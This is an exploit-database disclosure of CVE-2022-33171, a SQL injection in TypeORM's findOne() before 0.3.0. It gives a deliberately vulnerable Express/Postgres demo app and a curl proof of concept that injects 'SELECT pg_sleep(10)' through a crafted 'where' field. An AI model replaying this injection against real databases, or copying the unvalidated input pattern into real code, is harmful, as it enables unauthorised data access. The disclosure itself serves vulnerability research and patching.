Exploit for TypeORM SQL Injection CVE-2022-33171

## https://sploitus.com/exploit?id=PACKETSTORM:167634
typeorm CVE-2022-33171  
  
findOne(id), findOneOrFail(id)  
  
The findOne function in TypeORM before 0.3.0 can either be supplied with a string or a FindOneOptions object. When input to the function is a user-controlled parsed JSON object, supplying a crafted FindOneOptions instead of an id string leads to SQL injection.  
  
The issue was already fixed from version 0.3.0 onward when we encountered it.  
  
Maintainer does not consider this a vulnerability and stated the root cause is bad input validation.  
  
On one hand input validation is definitely insufficient. On the other hand this is a function argument that is meant to be fed user input and as such one would think it safe to put user input there.  
  
Vulnerable app:  
```  
  
import {  
Entity,  
PrimaryGeneratedColumn,  
Connection,  
ConnectionOptions,  
Repository,  
createConnection  
} from 'typeorm';  
import * as express from 'express';  
import {Application, Request, Response} from 'express';  
  
let connection: Connection;  
  
async function myListener(request: Request, response: Response) {  
if(!connection)  
connection = await createConnection(connectionOpts);  
const userRepo: Repository<User> = connection.getRepository(User);  
  
const ids: string[] = request.body;  
for(const id of ids) {  
try {  
await userRepo.findOne(id);  
} catch(err: any) {  
console.log(err);  
}  
}  
response.json({});  
}  
  
@Entity({ name: 'user' })  
class User {  
@PrimaryGeneratedColumn('uuid')  
id: string;  
}  
  
const connectionOpts: ConnectionOptions = {  
type: 'postgres',  
name: 'myconnection',  
host: 'db-host',  
port: 5432,  
username: 'username',  
password: 'password',  
database: 'mydb',  
schema: 'public',  
entities: [User]  
}  
  
const app: Application = express();  
app.use(express.json());  
app.post( "/findByIds", myListener);  
app.listen(4444, () => console.log('App started'));  
  
```  
  
Exploit:  
curl -v [http://host/findByIds](http://containerip:4444/findByIds)' -H 'Content-Type: application/json' --data '[{"where":"1=1; SELECT pg_sleep(10) --"}]'